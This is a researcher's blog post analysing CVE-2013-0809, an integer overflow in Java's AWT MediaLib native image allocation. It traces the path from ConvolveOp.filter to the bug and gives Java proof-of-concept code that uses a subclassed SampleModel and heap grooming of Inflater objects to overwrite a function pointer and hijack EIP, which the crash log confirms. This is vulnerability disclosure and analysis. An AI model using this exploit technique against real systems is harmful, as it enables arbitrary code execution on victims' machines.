Analysis of CVE-2013-0809

This post is about the analysis of CVE-2013-0809, a java security bug I’ve found. As it is common for java bugs, the most relevant information can be found in RedHat’s CVE database and in RedHat’s bugzilla. In this case it is the description of the bug: “Specially crafted sample model integer overflow”, and a link to the OpenJDK patch.

I was checking the native code of the java runtime library, searching for integer overflow bugs in malloc function calls, when I spotted this bug. It turned out later, that the biggest challenge is to reach the vulnerable native code.

The vulnerability

The bug is a simple integer overflow in the AWT MediaLib component:

The mlib_ImageCreate function of mlib_ImageCreate.c doesn’t checks the preconditions of a malloc, so we can make the

width * height * channels

expression — which is the argument of the malloc call — overflow.


	mlib_image *mlib_ImageCreate(mlib_type type, mlib_s32  channels, mlib_s32  width, mlib_s32  height) {
		// preconditions check
		if (width <= 0 || height <= 0 || channels < 1 || channels > 4) {
			return NULL;
		// calculating the size
		switch (type) {
			case MLIB_BYTE:
				wb = width * channels;
			case MLIB_INT:
				wb = width * channels * 4;
		// overflow 
		data = mlib_malloc(wb * height);

The only caller of the above method is the allocateArray function, in the awt_ImagingLib.c module:


	static int allocateArray(JNIEnv *env, BufImageS_t *imageP, mlib_image **mlibImagePP, void **dataPP, int isSrc, int cvtToDefault, int addAlpha) {
		RasterS_t *rasterP = &imageP->raster;
		width  = rasterP->width;
		height = rasterP->height;

		if (cvtToDefault) {
			int status = 0;
			// the vulnerable function is called here
			// the cDataP will point to the malloced area
        	*mlibImagePP = (*sMlibSysFns.createFP)(MLIB_BYTE, 4, width, height); 	
        	cDataP  = (unsigned char *) mlib_ImageGetData(*mlibImagePP);			
		    // we fill the malloced area with 0-s
		    // note: the overflow happens here too
		    memset(cDataP, 0, width*height*4);

			// based on the ColorModel and Type type the data is 
			// copied from  the java code to the native code
			switch(imageP->cmodel.cmType) {
				case INDEX_CM_TYPE:
				case DIRECT_CM_TYPE:
			// if we don't use anything special, 
			// this function will handle the copy
			return cvtCustomToDefault(env, imageP, -1, cDataP);

We can see here, that the value of width and height is carried by the imageP structure. Now we should check the cvtCustomToDefault function, to see how the copy happens:


	static int cvtCustomToDefault(JNIEnv *env, BufImageS_t *imageP, int component, unsigned char *dataP) {
		#define NUM_LINES    10
   		int numLines = NUM_LINES;
		int nbytes = rasterP->width*4*NUM_LINES;

		for (y=0; y < rasterP->height; y+=numLines) {
			// call the getRGB function of the imageP structure
			jpixels = (*env)->CallObjectMethod(env, imageP->jimage, g_BImgGetRGBMID, 0, y, 
							rasterP->width, numLines, jpixels,0, rasterP->width);

	        pixels = (*env)->GetPrimitiveArrayCritical(env, jpixels, NULL);
			// overwriting the overflowed area with the data provided by the getRGB function
	        memcpy(dP, pixels, nbytes);
			dP += nbytes;        

	        (*env)->ReleasePrimitiveArrayCritical(env, jpixels, pixels, JNI_ABORT);

Analysing the code above, we can see how the data is copied by 10 lines from the BufferedImage java object into the native image structure. Typical problem with integer overflows is that we usually allocate a small memory region (thanks to the overflow), but when we overwrite the allocated area, we usually need to write a large amount of data. By doing this, we are overwriting important parts of the program code/data, which at the end will crash the program in a few steps after the overwrite happens. In this cases the most important thing is to figure out, how we can create an exit/stop condition from the copy. In the code above that is relatively simple: we just need to throw an exception in the getRGB function when we copied enough data, as we will see later.

Time to summarize the information we have about the overflow:

  • The size of the malloced area: (width * height * 4) modulo 0xffffffff
  • The size of the overwritten area: width * 10 * 4 * k, where 4 is the number of channels and k is in 0,1,2,3,… depending on in which iteration we throw the exception

Reaching the vulnerable code

As we can see, the allocateArray function is static, so we need to find a code-path from a JNI entry point. In our case these are the following:

  • Java_sun_awt_image_ImagingLib_convolveBI
  • Java_sun_awt_image_ImagingLib_tansformBI
  • Java_sun_awt_image_ImagingLib_lookupBI

I choosed the convolveBI function for the PoC:

	Java_sun_awt_image_ImagingLib_convolveBI(JNIEnv *env, jobject this, jobject jsrc, jobject jdst, jobject jkernel, jint edgeHint)

Which looks like this from the interpreted code:

	static public native int convolveBI(BufferedImage src, BufferedImage dst, Kernel kernel, int edgeHint);

The above function is in a restricted package (sun.*) so it can’t be called directly by an applet, we need to follow the call hierarchy further, till we reach the filter function of the java.awt.image.ConvolveOp class.

It is time to gather all the preconditions, what need to be satisfied to reach the vulnerable code. First the CovolveOp class validates, that the ColorModel and Raster of the Image supplied as a parameter to the filter function are compatible with each other, and handles converting them if necessary. The easiest way is to choose this parameters to be compatible by default.

There are also some prerequisites defined by the convolveBi function. This is a quite big function, we need to go through it line-by-line, and collect all conditions needed by this and all the called functions. (This can be seen in awt_ImagingLib.c)

  • convolveBI
    • validating the size of the kernel, checking for overflow
    • awt_parseImage (source image)
      • awt_parseRaster
        • checking some properties of the Raster object
        • checking the type of the raster, it needs to be one of theese:
          • IntegerComponentRaster
          • ByteComponentRaster
          • ShortComponentRaster
          • BytePackedRaster
      • awt_parseColorModel
        • checking some properties of the ColorModel object
    • awt_parseImage (destination image)
      • […] see above
    • setImageHints
      • some extra Raster and ColorModel conditions
    • allocateArray
      • the vulnerable function

The preconditions for the colorband and similar properties can be satisfied easily, the main problem is the type of the Raster object. All the classes which are acceptable are in the restricted sun.* namespace. Fortunately we can get a BytePackedRaster instance using the method createWriteableRaster of java.awt.image.Raster, so we try to choose the ColorModel and the SampleModel to this type of Raster class. These are the PackedColorModel, and the MultiPixelPackedSampleModel classes.

The next problem is that the constructor of the SampleModel class verifies that the width * height product is not overflowing:

	public SampleModel(int dataType, int w, int h, int numBands) {
		long size = (long)w * h;
		if (w <= 0 || h <= 0) {
				throw new IllegalArgumentException("Width ("+w+") and height ("+h+") must be > 0");
		if (size >= Integer.MAX_VALUE) {
				throw new IllegalArgumentException("Dimensions (width="+w+ " height="+h+") are too large");

Luckily (although no reason why) the width and height members have protected visibility, which means we can create a derived class which satisfies the preconditions when the constructor of the parent class (SampleModel) is checking them, but change the members later with prepared values to cause overflow when doing the native call.

The next problem is that the parent class validates the size of the DataBuffer:

	((dataBitOffset + (this.height-1) * scanlineStride * 8 + (this.width-1) * numberOfBits + numberOfBits - 1)/8)));

If the expression above is bigger than the size of the DataBuffer specified, we get an exception. Luckily again, by choosing a negative scanlineStride value, this expression can be made to take arbitrary value.

We end up with the following class, which takes a key role to reach the vulnerable code-path:

	public static class MySampleModel extends MultiPixelPackedSampleModel {
		private static final int w = 1;
		private static final int h = 1;
		private static final int numberOfBits = 1;
		private static final int scanlineStride = -1;
		private static final int dataBitOffset = 0;
		public MySampleModel() {
			// by setting width and height to 1 and choosing a negative scanlineStride value, 
 			// we can satisfy all the preconditions of the parent class
			super(DataBuffer.TYPE_BYTE, w, h, numberOfBits, scanlineStride, dataBitOffset);

			// now we can freely overwrite the values
			this.width = 5;
			this.height = 0x40000010/this.width;

			// print some debug info
			System.err.println(String.format("%x", this.width * this.height * 4));
			System.err.println(String.format("%x", this.width*4*10));
			System.err.println(String.format("%x", ((dataBitOffset + (this.height-1) * scanlineStride * 8 + (this.width-1) * numberOfBits + numberOfBits - 1)/8)));

Because I’m still a novice in exploitation, I’ve created the PoC exploit only for the 1.6 version of java, on 32bit linux (using libc 2.15). Exploiting the 1.6 series of java is more easy because of the lack of DEP, which is turned on in the 1.7 builds by default.

Exploitation, PoC

The PoC is based on the following mechanism. If we allocate an zlib Inflater object

Inflater i = new Inflater()

the native code allocates (besides allocating memory for other structures) a z_stream structure, which takes the following form:

typedef struct z_stream_s {
    struct internal_state FAR *state; /* not visible by applications */
    alloc_func zalloc;  /* used to allocate the internal state */
    free_func  zfree;   /* used to free the internal state */
} z_stream;

If we could overwrite the members (z_free) of this structure, we could easily hijack the execution flow of the application. Triggering the call to z_free, we need to issue the following on the corresponding java object:


The exploitation “scenario” takes the following form:

  • Allocate some Inflater objects to fill the fragmented region of the heap, and drive the memory allocator to a predictable state
  • Based on the size of the z_stream struct, we calculate the widht and height of the “attacker” object in a way, so the “attacker” object will use the same fastbin as the victim objects
  • We allocate a victim object which will be right after the attacker object in the memory
  • By overflowing the attacker object we write into the victim objects memory area, changing the z_free member to point to our payload, or in our case, to set it to 0x41414141
  • Releasing the victim object, and thus hijacking the EIP register

It takes the following form:

	public static class MyBufferedImage extends BufferedImage {

		public MyBufferedImage(ColorModel colorModel, WritableRaster raster) {
			super(colorModel, raster, false, null);

		public int[] getRGB(int arg0, int arg1, int arg2, int arg3, int[] arg4, int arg5, int arg6) {
			// when this part of the code executes, the attacker object is already allocated (2nd step)

			if (arg1 == 0) {
				//first call: allocate the victim object (3rd step)
				ifx[0] = new Inflater();

			if (arg1 == 10) {
				//second call: after the first call we already overflowed into the victim objects memory (4th step) 
				//now we trigger the EIP hijack (5th step)
				try { ifx[0].end(); } catch(Exception e) { }
				//exit if it was unsuccessful
				throw new RuntimeException();

			// only executed at first call, we fill the array we return with values what 
 			// we can easily spot in a debugger, and calculate the necessary offset informations
			for (int i = 0; i < ret.length; i++)
				ret[i] = (0x41410000+i) ;

			// 4th step: we overwrite the necessary properties
			// ret[43] is the state member of the z_stream, we need to point it to
			// a writable area to avoid SEGFAULT, ret[45] is the z_free pointer
			ret[43] = 0xf6000000;	
			ret[45] = 0x41414141;	
			return ret;

We need to put it all together:

public static void main(String args[]) throws Exception {
    Kernel kernel = new Kernel(1, 1, new float[] { 1.0f });
    ConvolveOp co = new ConvolveOp(kernel);
    ColorModel colorModel = new MyColorModel();
    MySampleModel sm = new MySampleModel();
    DataBuffer db = new DataBufferByte(10000000);
    WritableRaster raster = Raster.createWritableRaster(sm, db, null);
    BufferedImage src = new MyBufferedImage(colorModel, raster);
    BufferedImage dst = new MyBufferedImage(colorModel, raster);

    for(int i=0;i<ifx.length;i++)
        ifx[i]=new Inflater();

    try {
        co.filter(src, dst);
    } catch(Throwable e) {System.out.println("Error+" + e.getMessage());}

So we end up with this:

# A fatal error has been detected by the Java Runtime Environment:
#  SIGSEGV (0xb) at pc=0x41414141, pid=3456, tid=4137208640
# JRE version: 6.0_39-b04
# Java VM: Java HotSpot(TM) Server VM (20.8-b03 mixed mode linux-x86 )
# Problematic frame:
# C  0x41414141
[error occurred during error reporting (printing problematic frame), id 0xb]

# If you would like to submit a bug report, please visit:
# The crash happened outside the Java Virtual Machine in native code.
# See problematic frame for where to report the bug.

---------------  T H R E A D  ---------------

Current thread (0xf6805000):  JavaThread "main" [_thread_in_native, id=3457, stack(0xf693c000,0xf698d000)]

siginfo:si_signo=SIGSEGV: si_errno=0, si_code=1 (SEGV_MAPERR), si_addr=0x41414141

EAX=0x4141416f, EBX=0xf67f7abc, ECX=0x41414141, EDX=0xf6000000
ESP=0xf698ba0c, EBP=0xf698ba28, ESI=0xad360540, EDI=0xf6805000
EIP=0x41414141, EFLAGS=0x00010246, CR2=0x41414141

[The PoC code will be available in gitlab in a few days.]

This entry was posted in Bugs, Security and tagged , , , , , . Bookmark the permalink.

4 Responses to Analysis of CVE-2013-0809

  1. Nice write-up. I’m looking to do this kind of thing over at
    Any tips for anyone starting to write vuln analysis articles?

    – J

  2. Amr Thabet says:

    Very nice artile … and good description on how you found the vulnerability and how you follow it to find the way to exploit

    good job and keep going

  3. Pingback: Security News #0×48 | CyberOperations

  4. Pingback: Thorough analysis of CVE-2013-0809 – Java integer overflow | Lost my password!

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s